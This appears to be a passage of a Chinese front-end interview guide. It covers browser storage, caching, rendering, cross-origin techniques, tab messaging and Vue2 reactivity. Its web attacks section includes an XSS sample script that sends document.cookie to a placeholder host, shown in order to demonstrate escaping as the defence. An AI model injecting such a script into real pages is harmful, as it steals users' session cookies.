数据生命周期一般由服务器生成,可以设置过期时间除非被清理,否则一直存在页面关闭就清理除非被清理,否则一直存在
数据存储大小4KB5M5M无限
与服务端通信每次都会携带在 header 中,对于请求性能影响不参与不参与不参与

从上表可以看到,cookie 已经不建议用于存储。如果没有大量数据存储需求的话,可以使用 localStoragesessionStorage 。对于不怎么改变的数据尽量使用 localStorage 存储,否则可以用 sessionStorage存储

对于 cookie 来说,我们还需要注意安全性。

属性作用
value如果用于保存用户登录态,应该将该值加密,不能使用明文的用户标识
http-only不能通过 JS 访问 Cookie,减少 XSS 攻击
secure只能在协议为 HTTPS 的请求中携带
same-site规定浏览器不能在跨域请求中携带 Cookie,减少 CSRF 攻击

Service Worker

  • Service Worker 是运行在浏览器背后的独立线程,一般可以用来实现缓存功能。使用 Service Worker的话,传输协议必须为 HTTPS。因为 Service Worker 中涉及到请求拦截,所以必须使用 HTTPS 协议来保障安全
  • Service Worker 实现缓存功能一般分为三个步骤:首先需要先注册 Service Worker,然后监听到 install 事件以后就可以缓存需要的文件,那么在下次用户访问的时候就可以通过拦截请求的方式查询是否存在缓存,存在缓存的话就可以直接读取缓存文件,否则就去请求数据。以下是这个步骤的实现:
    // index.js
    if (navigator.serviceWorker) {
      navigator.serviceWorker
        .register('sw.js')
        .then(function(registration) {
          console.log('service worker 注册成功')
        })
        .catch(function(err) {
          console.log('servcie worker 注册失败')
        })
    }
    // sw.js
    // 监听 `install` 事件,回调中缓存所需文件
    self.addEventListener('install', e => {
      e.waitUntil(
        caches.open('my-cache').then(function(cache) {
          return cache.addAll(['./index.html', './index.js'])
        })
      )
    })
    
    // 拦截所有请求事件
    // 如果缓存中已经有请求的数据就直接用缓存,否则去请求数据
    self.addEventListener('fetch', e => {
      e.respondWith(
        caches.match(e.request).then(function(response) {
          if (response) {
            return response
          }
          console.log('fetch source')
        })
      )
    })

打开页面,可以在开发者工具中的 Application 看到 Service Worker 已经启动了

Cache 中也可以发现我们所需的文件已被缓存

当我们重新刷新页面可以发现我们缓存的数据是从 Service Worker 中读取的

浏览器缓存机制

注意:该知识点属于性能优化领域,并且整一章节都是一个面试题

  • 缓存可以说是性能优化中简单高效的一种优化方式了,它可以显著减少网络传输所带来的损耗。
  • 对于一个数据请求来说,可以分为发起网络请求、后端处理、浏览器响应三个步骤。浏览器缓存可以帮助我们在第一和第三步骤中优化性能。比如说直接使用缓存而不发起请求,或者发起了请求但后端存储的数据和前端一致,那么就没有必要再将数据回传回来,这样就减少了响应数据。

接下来的内容中我们将通过以下几个部分来探讨浏览器缓存机制:

  • 缓存位置
  • 缓存策略
  • 实际场景应用缓存策略

1. 缓存位置

从缓存位置上来说分为四种,并且各自有优先级,当依次查找缓存且都没有命中的时候,才会去请求网络

  1. Service Worker
  2. Memory Cache
  3. Disk Cache
  4. Push Cache
  5. 网络请求

1.1 Service Worker

  • service Worker 的缓存与浏览器其他内建的缓存机制不同,它可以让我们自由控制缓存哪些文件、如何匹配缓存、如何读取缓存,并且缓存是持续性的。
  • Service Worker 没有命中缓存的时候,我们需要去调用 fetch 函数获取数据。也就是说,如果我们没有在 Service Worker 命中缓存的话,会根据缓存查找优先级去查找数据。但是不管我们是从 Memory Cache 中还是从网络请求中获取的数据,浏览器都会显示我们是从 Service Worker 中获取的内容。

1.2 Memory Cache

  • Memory Cache 也就是内存中的缓存,读取内存中的数据肯定比磁盘快。但是内存缓存虽然读取高效,可是缓存持续性很短,会随着进程的释放而释放。 一旦我们关闭 Tab 页面,内存中的缓存也就被释放了。
  • 当我们访问过页面以后,再次刷新页面,可以发现很多数据都来自于内存缓存

那么既然内存缓存这么高效,我们是不是能让数据都存放在内存中呢?

  • 先说结论,这是不可能的。首先计算机中的内存一定比硬盘容量小得多,操作系统需要精打细算内存的使用,所以能让我们使用的内存必然不多。内存中其实可以存储大部分的文件,比如说 JSHTMLCSS、图片等等
  • 当然,我通过一些实践和猜测也得出了一些结论:
  • 对于大文件来说,大概率是不存储在内存中的,反之优先当前系统内存使用率高的话,文件优先存储进硬盘

1.3 Disk Cache

  • Disk Cache 也就是存储在硬盘中的缓存,读取速度慢点,但是什么都能存储到磁盘中,比之 Memory Cache 胜在容量和存储时效性上。
  • 在所有浏览器缓存中,Disk Cache 覆盖面基本是最大的。它会根据 HTTP Herder 中的字段判断哪些资源需要缓存,哪些资源可以不请求直接使用,哪些资源已经过期需要重新请求。并且即使在跨站点的情况下,相同地址的资源一旦被硬盘缓存下来,就不会再次去请求数据

1.4 Push Cache

  • Push CacheHTTP/2 中的内容,当以上三种缓存都没有命中时,它才会被使用。并且缓存时间也很短暂,只在会话(Session)中存在,一旦会话结束就被释放。
  • Push Cache 在国内能够查到的资料很少,也是因为 HTTP/2 在国内不够普及,但是 HTTP/2 将会是日后的一个趋势

结论

  • 所有的资源都能被推送,但是 EdgeSafari 浏览器兼容性不怎么好
  • 可以推送 no-cacheno-store 的资源
  • 一旦连接被关闭,Push Cache 就被释放
  • 多个页面可以使用相同的 HTTP/2 连接,也就是说能使用同样的缓存
  • Push Cache 中的缓存只能被使用一次
  • 浏览器可以拒绝接受已经存在的资源推送
  • 你可以给其他域名推送资源

1.5 网络请求

  • 如果所有缓存都没有命中的话,那么只能发起请求来获取资源了。
  • 那么为了性能上的考虑,大部分的接口都应该选择好缓存策略,接下来我们就来学习缓存策略这部分的内容

2 缓存策略

通常浏览器缓存策略分为两种:强缓存和协商缓存,并且缓存策略都是通过设置 HTTP Header 来实现的

2.1 强缓存

强缓存可以通过设置两种 HTTP Header 实现:ExpiresCache-Control 。强缓存表示在缓存期间不需要请求,state code200

Expires

    Expires: Wed, 22 Oct 2018 08:41:00 GMT

ExpiresHTTP/1 的产物,表示资源会在 Wed, 22 Oct 2018 08:41:00 GMT 后过期,需要再次请求。并且 Expires 受限于本地时间,如果修改了本地时间,可能会造成缓存失效。

Cache-control

    Cache-control: max-age=30
  • Cache-Control 出现于 HTTP/1.1,优先级高于 Expires 。该属性值表示资源会在 30 秒后过期,需要再次请求。
  • Cache-Control 可以在请求头或者响应头中设置,并且可以组合使用多种指令

从图中我们可以看到,我们可以将多个指令配合起来一起使用,达到多个目的。比如说我们希望资源能被缓存下来,并且是客户端和代理服务器都能缓存,还能设置缓存失效时间等

一些常见指令的作用

2.2 协商缓存

  • 如果缓存过期了,就需要发起请求验证资源是否有更新。协商缓存可以通过设置两种 HTTP Header 实现:Last-ModifiedETag
  • 当浏览器发起请求验证资源时,如果资源没有做改变,那么服务端就会返回 304 状态码,并且更新浏览器缓存有效期。

Last-Modified 和 If-Modified-Since

Last-Modified 表示本地文件最后修改日期,If-Modified-Since 会将 Last-Modified 的值发送给服务器,询问服务器在该日期后资源是否有更新,有更新的话就会将新的资源发送回来,否则返回 304 状态码。

但是 Last-Modified 存在一些弊端:

  • 如果本地打开缓存文件,即使没有对文件进行修改,但还是会造成 Last-Modified 被修改,服务端不能命中缓存导致发送相同的资源
  • 因为 Last-Modified 只能以秒计时,如果在不可感知的时间内修改完成文件,那么服务端会认为资源还是命中了,不会返回正确的资源 因为以上这些弊端,所以在 HTTP / 1.1 出现了 ETag

ETag 和 If-None-Match

  • ETag 类似于文件指纹,If-None-Match 会将当前 ETag 发送给服务器,询问该资源 ETag 是否变动,有变动的话就将新的资源发送回来。并且 ETag 优先级比 Last-Modified 高。

以上就是缓存策略的所有内容了,看到这里,不知道你是否存在这样一个疑问。如果什么缓存策略都没设置,那么浏览器会怎么处理?

对于这种情况,浏览器会采用一个启发式的算法,通常会取响应头中的 Date 减去 Last-Modified 值的 10% 作为缓存时间。

2.3 实际场景应用缓存策略

频繁变动的资源

对于频繁变动的资源,首先需要使用 Cache-Control: no-cache 使浏览器每次都请求服务器,然后配合 ETag 或者 Last-Modified 来验证资源是否有效。这样的做法虽然不能节省请求数量,但是能显著减少响应数据大小。

代码文件

这里特指除了 HTML 外的代码文件,因为 HTML 文件一般不缓存或者缓存时间很短。

一般来说,现在都会使用工具来打包代码,那么我们就可以对文件名进行哈希处理,只有当代码修改后才会生成新的文件名。基于此,我们就可以给代码文件设置缓存有效期一年 Cache-Control: max-age=31536000,这样只有当 HTML 文件中引入的文件名发生了改变才会去下载最新的代码文件,否则就一直使用缓存

更多缓存知识详解 http://blog.poetries.top/2019/01/02/browser-cache

从输入URL 到网页显示的完整过程

  • 网络请求
    • DNS查询(得到IP),建立TCP连接(三次握手)
    • 浏览器发送HTTP请求
    • 收到请求响应,得到HTML源码。继续请求静态资源
      • 在解析HTML过程中,遇到静态资源(JSCSS、图片等)还会继续发起网络请求
      • 静态资源可能有缓存
  • 解析:字符串= >结构化数据
    • HTML构建DOM
    • CSS构建CSSOM树(style tree
    • 两者结合,形成render tree
    • 优化解析
      • CSS放在<head/>中,不要异步加载CSS
      • JS放到<body/>下面,不阻塞HTML解析(或结合deferasync
      • <img />提前定义widthheight,避免页面重新渲染
  • 渲染:Render Tree绘制到页面
    • 计算DOM的尺寸、定位,最后绘制到页面
    • 遇到JS会执行,阻塞HTML解析。如果设置了defer,则并行下载JS,等待HTML解析完,在执行JS;如果设置了async,则并行下载JS,下载完立即执行,在继续解析HTMLJS是单线程的,JS执行和DOM渲染互斥,等JS执行完,在解析渲染DOM
    • 异步CSS、异步图片,可能会触发重新渲染

连环问:网页重绘repaint和重排reflow有什么区别

  • 重绘
    • 元素外观改变:如颜色、背景色
    • 但元素的尺寸、定位不变,不会影响其他元素的位置
  • 重排
    • 重新计算尺寸和布局,可能会影响其他元素的位置
    • 如元素高度的增加,可能会使相邻的元素位置改变
    • 重排必定触发重绘,重绘不一定触发重排。重绘的开销较小,重排的代价较高。
    • 减少重排的方法
      • 使用BFC特性,不影响其他元素位置
      • 频繁触发(resizescroll)使用节流和防抖
      • 使用createDocumentFragment批量操作DOM
      • 编码上,避免连续多次修改,可通过合并修改,一次触发
      • 对于大量不同的 dom 修改,可以先将其脱离文档流,比如使用绝对定位,或者 display:none,在文档流外修改完成后再放回文档里中
      • 动画实现的速度的选择,动画速度越快,回流次数越多,也可以选择使用 requestAnimationFrame
      • css3 硬件加速,transformopacityfilters,开启后,会新建渲染层

常见的web前端攻击方式有哪些

XSS

  • Cross Site Script 跨站脚本攻击
  • 手段:黑客将JS代码插入到网页内容中,渲染时执行JS代码
  • 预防:特殊字符串替换(前端或后端)
    // 用户提交
    const str = `
      <p>123123</p>
      <script>
          var img = document.createElement('image')
          // 把cookie传递到黑客网站 img可以跨域
          img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie
      </script>
    `
    const newStr = str.replaceAll('<', '&lt;').replaceAll('>', '&gt;')
    // 替换字符,无法在页面中渲染
    //   &lt;script&gt;
    //     var img = document.createElement('image')
    //     img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie
    // &lt;/script&gt;

CSRF

  • Cross Site Request Forgery 跨站请求伪造
  • 手段:黑盒诱导用户去访问另一个网站的接口,伪造请求
  • 预防:严格的跨域限制 + 验证码机制
    • 判断 referer
    • cookie设置sameSite属性,禁止第三方网页跨域的请求能携带上cookie
    • 使用token
    • 关键接口使用短信验证码

注意:偷取cookieXSS做的事,CSRF的作用是借用cookie,并不能获取cookie

CSRF攻击攻击原理及过程如下:

  • 用户登录了A网站,有了cookie
  • 黑盒诱导用户到B网站,并发起A网站的请求
  • A网站的API发现有cookie,会在请求中携带A网站的cookie,认为是用户自己操作的

点击劫持

  • 手段:诱导界面上设置透明的iframe,诱导用户点击
  • 预防:让iframe不能跨域加载

DDOS

  • Distribute denial-of-service 分布式拒绝服务
  • 手段:分布式的大规模的流量访问,使服务器瘫痪
  • 预防:软件层不好做,需硬件预防(如阿里云的WAF 购买高防)

SQL注入

  • 手段:黑客提交内容时,写入sql语句,破坏数据库
  • 预防:处理内容的输入,替换特殊字符

跨域方案

因为浏览器出于安全考虑,有同源策略。也就是说,如果协议域名端口有一个不同就是跨域,Ajax 请求会失败。

我们可以通过以下几种常用方法解决跨域的问题

4.1 JSONP

JSONP 的原理很简单,就是利用 <script> 标签没有跨域限制的漏洞。通过 <script> 标签指向一个需要访问的地址并提供一个回调函数来接收数据

涉及到的端

JSONP 需要服务端和前端配合实现。

    <script src="http://domain/api?param1=a&param2=b&callback=jsonp"></script>
    <script>
        function jsonp(data) {
        	console.log(data)
    	}
    </script>    

JSONP 使用简单且兼容性不错,但是只限于get 请求

具体实现方式

  • 在开发中可能会遇到多个 JSONP 请求的回调函数名是相同的,这时候就需要自己封装一个 JSONP,以下是简单实现
    function jsonp(url, jsonpCallback, success) {
      let script = document.createElement("script");
      script.src = url;
      script.async = true;
      script.type = "text/javascript";
      window[jsonpCallback] = function(data) {
        success && success(data);
      };
      document.body.appendChild(script);
    }
    jsonp(
      "http://xxx",
      "callback",
      function(value) {
        console.log(value);
      }
    );

4.2 CORS

CORS (Cross-Origin Resource Sharing,跨域资源共享) 是目前最为广泛的解决跨域问题的方案。方案依赖服务端/后端在响应头中添加 Access-Control-Allow-* 头,告知浏览器端通过此请求

涉及到的端

CORS 只需要服务端/后端支持即可,不涉及前端改动

  • CORS需要浏览器和后端同时支持。IE 89 需要通过 XDomainRequest 来实现。
  • 浏览器会自动进行 CORS 通信,实现CORS通信的关键是后端。只要后端实现了 CORS,就实现了跨域。
  • 服务端设置 Access-Control-Allow-Origin 就可以开启 CORS。 该属性表示哪些域名可以访问资源,如果设置通配符则表示所有网站都可以访问资源。

CORS 实现起来非常方便,只需要增加一些 HTTP 头,让服务器能声明允许的访问来源

只要后端实现了 CORS,就实现了跨域

koa框架举例

添加中间件,直接设置Access-Control-Allow-Origin请求头

    app.use(async (ctx, next)=> {
      ctx.set('Access-Control-Allow-Origin', '*');
      ctx.set('Access-Control-Allow-Headers', 'Content-Type, Content-Length, Authorization, Accept, X-Requested-With , yourHeaderFeild');
      ctx.set('Access-Control-Allow-Methods', 'PUT, POST, GET, DELETE, OPTIONS');
      if (ctx.method == 'OPTIONS') {
        ctx.body = 200; 
      } else {
        await next();
      }
    })

具体实现方式

CORS 将请求分为简单请求(Simple Requests)和需预检请求(Preflighted requests),不同场景有不同的行为

  • 简单请求 :不会触发预检请求的称为简单请求。当请求满足以下条件时就是一个简单请求:
    • 请求方法:GETHEADPOST
    • 请求头:AcceptAccept-LanguageContent-LanguageContent-Type
      • Content-Type 仅支持:application/x-www-form-urlencodedmultipart/form-datatext/plain
  • 需预检请求 :当一个请求不满足以上简单请求的条件时,浏览器会自动向服务端发送一个 OPTIONS 请求,通过服务端返回的Access-Control-Allow-* 判定请求是否被允许

CORS 引入了以下几个以 Access-Control-Allow-* 开头:

  • Access-Control-Allow-Origin 表示允许的来源
  • Access-Control-Allow-Methods 表示允许的请求方法
  • Access-Control-Allow-Headers 表示允许的请求头
  • Access-Control-Allow-Credentials 表示允许携带认证信息

当请求符合响应头的这些条件时,浏览器才会发送并响应正式的请求

4.3 nginx反向代理

反向代理只需要服务端/后端支持,几乎不涉及前端改动,只用切换接口即可

nginx 配置跨域,可以为全局配置和单个代理配置(两者不能同时配置)

  1. 全局配置 ,在nginx.conf文件中的 http 节点加入跨域信息
    http {
      # 跨域配置
      add_header 'Access-Control-Allow-Origin' '$http_origin' ;
      add_header 'Access-Control-Allow-Credentials' 'true' ;
      add_header 'Access-Control-Allow-Methods' 'PUT,POST,GET,DELETE,OPTIONS' ;
      add_header 'Access-Control-Allow-Headers' 'Content-Type,Content-Length,Authorization,Accept,X-Requested-With' ;
    }
  1. 局部配置 (单个代理配置跨域), 在路径匹配符中加入跨域信息
    server {
      listen       8080;
      server_name  server_name;
    
      charset utf-8;
    
      location / {
        # 这里配置单个代理跨域,跨域配置
        add_header 'Access-Control-Allow-Origin' '$http_origin' ;
        add_header 'Access-Control-Allow-Credentials' 'true' ;
        add_header 'Access-Control-Allow-Methods' 'PUT,POST,GET,DELETE,OPTIONS' ;
        add_header 'Access-Control-Allow-Headers' 'Content-Type,Content-Length,Authorization,Accept,X-Requested-With' ;
    
        #配置代理 代理到本机服务端口
        proxy_pass http://127.0.0.1:9000;
        proxy_redirect   off;
        proxy_set_header Host $host:$server_port;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
      }
    }

4.4 Node 中间层接口转发

    const router = require('koa-router')()
    const rp = require('request-promise');
    
    // 通过node中间层转发实现接口跨域
    router.post('/github', async (ctx, next) => {
      let {category = 'trending',lang = 'javascript',limit,offset,period} = ctx.request.body 
      lang = lang || 'javascript'
      limit = limit || 30
      offset = offset || 0
      period = period || 'week'
      let res =  await rp({
        method: 'POST',
        // 跨域的接口
        uri: `https://e.juejin.cn/resources/github`,
        body: {
          category,
          lang,
          limit,
          offset,
          period
        },
        json: true
      })
      
      ctx.body = res
    })
    
    module.exports = router

4.5 Proxy

如果是通过vue-cli脚手架工具搭建项目,我们可以通过webpack为我们起一个本地服务器作为请求的代理对象

通过该服务器转发请求至目标服务器,得到结果再转发给前端,但是最终发布上线时如果web应用和接口服务器不在一起仍会跨域

vue.config.js文件,新增以下代码

    module.exports = {
      devServer: {
        host: '127.0.0.1',
        port: 8080,
        open: true,// vue项目启动时自动打开浏览器
        proxy: {
          '/api': { // '/api'是代理标识,用于告诉node,url前面是/api的就是使用代理的
            target: "http://xxx.xxx.xx.xx:8080", //目标地址,一般是指后台服务器地址
            changeOrigin: true, //是否跨域
            pathRewrite: { // pathRewrite 的作用是把实际Request Url中的'/api'用""代替
              '^/api': "" 
            }
          }
        }
      }
    }

通过axios发送请求中,配置请求的根路径

    axios.defaults.baseURL = '/api'

此外,还可通过服务端实现代理请求转发,以express框架为例

    var express = require('express');
    const proxy = require('http-proxy-middleware')
    const app = express()
    app.use(express.static(__dirname + '/'))
    app.use('/api', proxy({ target: 'http://localhost:4000', changeOrigin: false
                          }));
    module.exports = app

4.6 websocket

webSocket本身不存在跨域问题,所以我们可以利用webSocket来进行非同源之间的通信

原理:利用webSocketAPI,可以直接new一个socket实例,然后通过open方法内send要传输到后台的值,也可以利用message方法接收后台传来的数据。后台是通过new WebSocket.Server({port:3000})实例,利用message接收数据,利用send向客户端发送数据。具体看以下代码:

    function socketConnect(url) {
        // 客户端与服务器进行连接
        let ws = new WebSocket(url); // 返回`WebSocket`对象,赋值给变量ws
        // 连接成功回调
        ws.onopen = e => {
          console.log('连接成功', e)
          ws.send('我发送消息给服务端'); // 客户端与服务器端通信
        }
        // 监听服务器端返回的信息
        ws.onmessage = e => {
          console.log('服务器端返回:', e.data)
          // do something
        }
        return ws; // 返回websocket对象
    }
    let wsValue = socketConnect('ws://121.40.165.18:8800'); // websocket对象

4.7 document.domain(不常用)

  • 该方式只能用于二级域名相同的情况下,比如 a.test.comb.test.com 适用于该方式。
  • 只需要给页面添加 document.domain = 'test.com' 表示二级域名都相同就可以实现跨域
  • Chrome 101 版本开始,document.domain 将变为可读属性,也就是意味着上述这种跨域的方式被禁用了

4.8 postMessage(不常用)

在两个 origin 下分别部署一套页面 ABA 页面通过 iframe 加载 B 页面并监听消息,B 页面发送消息

这种方式通常用于获取嵌入页面中的第三方页面数据。一个页面发送消息,另一个页面判断来源并接收消息

    // 发送消息端
    window.parent.postMessage('message', 'http://test.com');
    // 接收消息端
    var mc = new MessageChannel();
    mc.addEventListener('message', (event) => {
        var origin = event.origin || event.originalEvent.origin;
        if (origin === 'http://test.com') {
            console.log('验证通过')
        }
    });

4.9 window.name(不常用)

主要是利用 window.name 页面跳转不改变的特性实现跨域,即 iframe 加载一个跨域页面,设置 window.name,跳转到同域页面,可以通过 $('iframe').contentWindow.name 拿到跨域页面的数据

实例说明

比如有一个www.example.com/a.html页面。需要通过a.html页面里的js来获取另一个位于不同域上的页面www.test.com/data.html中的数据。

data.html页面中设置一个window.name即可,代码如下

    <script>
      window.name = "我是data.html中设置的a页面想要的数据";
    </script>
  • 那么接下来问题来了,我们怎么把data.html页面载入进来呢,显然我们不能直接在a.html页面中通过改变window.location来载入data.html页面(因为我们现在需要实现的是a.html页面不跳转,但是也能够获取到data.html中的数据)
  • 具体的实现其实就是在a.html页面中使用一个隐藏的iframe来充当一个中间角色,由iframe去获取data.html的数据,然后a.html再去得到iframe获取到的数据。
  • 充当中间人的iframe想要获取到data.html中通过window.name设置的数据,只要要把这个iframesrc设置为www.test.com/data.html即可,然后a.html想要得到iframe所获取到的数据,也就是想要得到iframewidnow.name的值,还必须把这个iframesrc设置成跟a.html页面同一个域才行,不然根据同源策略,a.html是不能访问到iframe中的window.name属性的
    <!-- a.html中的代码 -->
    <iframe id="proxy" src="http://www.test.com/data.html" style="display: none;" onload = "getData()"> 
    
    <script>
      function getData(){
        var iframe = document.getElementById('proxy);
        iframe.onload = function(){
          var data = iframe.contentWindow.name;
          //上述即为获取iframe里的window.name也就是data.html页面中所设置的数据;
        }
        iframe.src = 'b.html'; //这里的b为随便的一个页面,只有与a.html同源就行,目的让a.html等访问到iframe里的东西,设置成about:blank也行
      }
    </script>

上面的代码只是最简单的原理演示代码,你可以对使用js封装上面的过程,比如动态的创建iframe,动态的注册各种事件等等,当然为了安全,获取完数据后,还可以销毁作为代理的iframe

4.10 扩展阅读

跨域与监控

前端项目在统计前端报错监控时会遇到上报的内容只有 Script Error 的问题。这个问题也是由同源策略引起。在 <script> 标签上添加 crossorigin="anonymous" 并且返回的 JS 文件响应头加上 Access-Control-Allow-Origin: * 即可捕捉到完整的错误堆栈

跨域与图片

前端项目在图片处理时可能会遇到图片绘制到 Canvas 上之后却不能读取像素或导出 base64 的问题。这个问题也是由同源策略引起。解决方式和上文相同,给图片添加 crossorigin="anonymous" 并在返回的图片文件响应头加上 Access-Control-Allow-Origin: * 即可解决

移动端H5点击有300ms延迟,该如何解决

解决方案

  • 禁用缩放,设置meta标签 user-scalable=no
  • 现在浏览器方案 meta中设置content="width=device-width"
  • fastclick.js

初期解决方案 fastClick

    // 使用
    window.addEventListener('load',()=>{
      FastClick.attach(document.body)
    },false)

fastClick原理

  • 监听touchend事件(touchstart touchend会先于click触发)
  • 使用自定义DOM事件模拟一个click事件
  • 把默认的click事件(300ms之后触发)禁止掉

触摸事件的响应顺序

  • ontouchstart
  • ontouchmove
  • ontouchend
  • onclick

现代浏览器的改进

meta中设置content="width=device-width" 就不会有300ms的点击延迟了。浏览器认为你要在移动端做响应式布局,所以就禁止掉了

    <head>
      <meta name="viewport" content="width=device-width,initial-scale=1.0" />
    </head>

如何实现网页多标签tab通讯

  • 通过websocket
    • 无跨域限制
    • 需要服务端支持,成本高
  • 通过localStorage同域通讯(推荐)
    • 同域AB两个页面
    • A页面设置localStorage
    • B页面可监听到localStorage值的修改
  • 通过SharedWorker通讯
    • SharedWorkerWebWorker的一种
    • WebWorker可开启子进程执行JS,但不能操作DOM
    • SharedWorker可单独开启一个进程,用于同域页面通讯
    • SharedWorker兼容性不太好,调试不方便,IE11不支持

localStorage通讯例子

    <!-- 列表页 -->
    <p>localStorage message - list page</p>
    
    <script>
      // 监听storage事件
      window.addEventListener('storage', event => {
        console.info('key', event.key)
        console.info('value', event.newValue)
      })
    </script>
    <!-- 详情页 -->
    <p>localStorage message - detail page</p>
    
    <button id="btn1">修改标题</button>
    
    <script>
      const btn1 = document.getElementById('btn1')
      btn1.addEventListener('click', () => {
        const newInfo = {
          id: 100,
          name: '标题' + Date.now()
        }
        localStorage.setItem('changeInfo', JSON.stringify(newInfo))
      })
    
      // localStorage 跨域不共享
    </script>

SharedWorker通讯例子

本地调试的时候打开chrome隐私模式验证,如果没有收到消息,打开chrome://inspect/#workers => sharedWorkers => 点击inspect

    <p>SharedWorker message - list page</p>
    
    <script>
      const worker = new SharedWorker('./worker.js')
      worker.port.onmessage = e => console.info('list', e.data)
    </script>
    <p>SharedWorker message - detail page</p>
    <button id="btn1">修改标题</button>
    
    <script>
      const worker = new SharedWorker('./worker.js')
    
      const btn1 = document.getElementById('btn1')
      btn1.addEventListener('click', () => {
        console.log('clicked')
        worker.port.postMessage('detail go...')
      })
    </script>
    // worker.js
    
    /**
     * @description for SharedWorker
     */
    
    const set = new Set()
    
    onconnect = event => {
      const port = event.ports[0]
      set.add(port)
    
      // 接收信息
      port.onmessage = e => {
        // 广播消息
        set.forEach(p => {
          if (p === port) return // 不给自己广播
          p.postMessage(e.data)
        })
      }
    
      // 发送信息
      port.postMessage('worker.js done')
    }

连环问:如何实现网页和iframe之间的通讯

  • 使用postMessage通信
  • 注意跨域的限制和判断,判断域名的合法性

演示

    <!-- 首页 -->
    <p>
      index page
      <button id="btn1">发送消息</button>
    </p>
    
    <iframe id="iframe1" src="./child.html"></iframe>
    
    <script>
      document.getElementById('btn1').addEventListener('click', () => {
        console.info('index clicked')
        window.iframe1.contentWindow.postMessage('hello', '*') // * 没有域名限制
      })
    
      // 接收child的消息
      window.addEventListener('message', event => {
        console.info('origin', event.origin) // 来源的域名
        console.info('index received', event.data)
      })
    </script>
    <!-- 子页面 -->
    <p>
      child page
      <button id="btn1">发送消息</button>
    </p>
    
    <script>
      document.getElementById('btn1').addEventListener('click', () => {
        console.info('child clicked')
        // child被嵌入到index页面,获取child的父页面
        window.parent.postMessage('world', '*') // * 没有域名限制
      })
    
      // 接收parent的消息
      window.addEventListener('message', event => {
        console.info('origin', event.origin) // 判断 origin 的合法性
        console.info('child received', event.data)
      })
    </script>

效果

requestIdleCallback和requestAnimationFrame有什么区别

react fiber引起的关注

  • 组件树转为链表,可分段渲染
  • 渲染时可以暂停,去执行其他高优先级任务,空闲时在继续渲染(JS是单线程的,JS执行的时候没法去DOM渲染)
  • 如何判断空闲?requestIdleCallback

区别

  • requestAnimationFrame 每次渲染完在执行,高优先级
  • requestIdleCallback 空闲时才执行,低优先级
  • 都是宏任务,要等待DOM渲染完后在执行

    <p>requestAnimationFrame</p>
    
    <button id="btn1">change</button>
    <div id="box"></div>
    
    <script>
      const box = document.getElementById('box')
      
      document.getElementById('btn1').addEventListener('click', () => {
      let curWidth = 100
      const maxWidth = 400
    
      function addWidth() {
        curWidth = curWidth + 3
        box.style.width = `${curWidth}px`
        if (curWidth < maxWidth) {
            window.requestAnimationFrame(addWidth) // 时间不用自己控制
        }
      }
      addWidth()
    })
    </script>
    window.onload = () => {
      console.info('start')
      setTimeout(() => {
        console.info('timeout')
      })
      // 空闲时间才执行
      window.requestIdleCallback(() => {
        console.info('requestIdleCallback')
      })
      window.requestAnimationFrame(() => {
        console.info('requestAnimationFrame')
      })
      console.info('end')
    }
    
    // start
    // end
    // timeout
    // requestAnimationFrame
    // requestIdleCallback

script标签的defer和async有什么区别

  • scriptHTML暂停解析,下载JS,执行JS,在继续解析HTML
  • deferHTML继续解析,并行下载JSHTML解析完在执行JS(不用把script放到body后面,我们在head<script defer>js脚本并行加载会好点)
  • asyncHTML继续解析,并行下载JS,执行JS加载完毕后立即执行),在继续解析HTML
    • 加载完毕后立即执行,这导致async属性下的脚本是乱序的,对于 script 有先后依赖关系的情况,并不适用

注意:JS是单线程的,JS解析线程和DOM解析线程共用同一个线程,JS执行和HTML解析是互斥的,加载资源可以并行

蓝色线代表网络读取,红色线代表执行时间,这俩都是针对脚本的;绿色线代表 HTML 解析

连环问:prefetch和dns-prefetch分别是什么

preload和prefetch

  • preload 资源在当前页面使用,会优先加载
  • prefetch 资源在未来页面使用,空闲时加载
    <head>
      <!-- 当前页面使用 -->
      <link rel="preload" href="style.css" as="style" />
      <link rel="preload" href="main.js" as="script" />
    
      <!-- 未来页面使用 提前加载 比如新闻详情页 -->
      <link rel="prefetch" href="other.js" as="script" />
    
      <!-- 当前页面 引用css -->
      <link rel="stylesheet" href="style.css" />
    </head>
    <body>
      <!-- 当前页面 引用js -->
      <script src="main.js" defer></script>
    </body>

dns-preftch和preconnect

  • dns-pretch DNS预查询
  • preconnect DNS预连接

通过预查询和预连接减少DNS解析时间

    <head>
      <!-- 针对未来页面提前解析:提高打开速度 -->
      <link rel="dns-pretch" href="https://font.static.com" />
      <link rel="preconnect" href="https://font.static.com" crossorigin />
    </head>

4 Vue2

响应式原理

响应式

  • 组件data数据一旦变化,立刻触发视图的更新
  • 实现数据驱动视图的第一步
  • 核心APIObject.defineProperty
    • 缺点
      • 深度监听,需要递归到底,一次计算量大
      • 无法监听新增属性、删除属性(使用Vue.setVue.delete可以)
      • 无法监听原生数组,需要重写数组原型
    // 触发更新视图
    function updateView() {
        console.log('视图更新')
    }
    
    // 重新定义数组原型
    const oldArrayProperty = Array.prototype
    // 创建新对象,原型指向 oldArrayProperty ,再扩展新的方法不会影响原型
    const arrProto = Object.create(oldArrayProperty);
    ['push', 'pop', 'shift', 'unshift', 'splice'].forEach(methodName => {
        arrProto[methodName] = function () {
            updateView() // 触发视图更新
            oldArrayProperty[methodName].call(this, ...arguments)
            // Array.prototype.push.call(this, ...arguments)
        }
    })
    
    // 重新定义属性,监听起来
    function defineReactive(target, key, value) {
        // 深度监听
        observer(value)
    
        // 核心 API
        Object.defineProperty(target, key, {
            get() {
                return value
            },
            set(newValue) {
                if (newValue !== value) {
                    // 深度监听
                    observer(newValue)
    
                    // 设置新值
                    // 注意,value 一直在闭包中,此处设置完之后,再 get 时也是会获取最新的值
                    value = newValue
    
                    // 触发更新视图
                    updateView()
                }
            }
        })
    }
    
    // 监听对象属性
    function observer(target) {
        if (typeof target !== 'object' || target === null) {
            // 不是对象或数组
            return target
        }
    
        // 污染全局的 Array 原型
        // Array.prototype.push = function () {
        //     updateView()
        //     ...
        // }
    
        if (Array.isArray(target)) {
            target.__proto__ = arrProto
        }
    
        // 重新定义各个属性(for in 也可以遍历数组)
        for (let key in target) {
            defineReactive(target, key, target[key])
        }
    }
    
    // 准备数据
    const data = {
        name: 'zhangsan',
        age: 20,
        info: {
            address: 'shenzhen' // 需要深度监听
        },
        nums: [10, 20, 30]
    }
    
    // 监听数据
    observer(data)
    
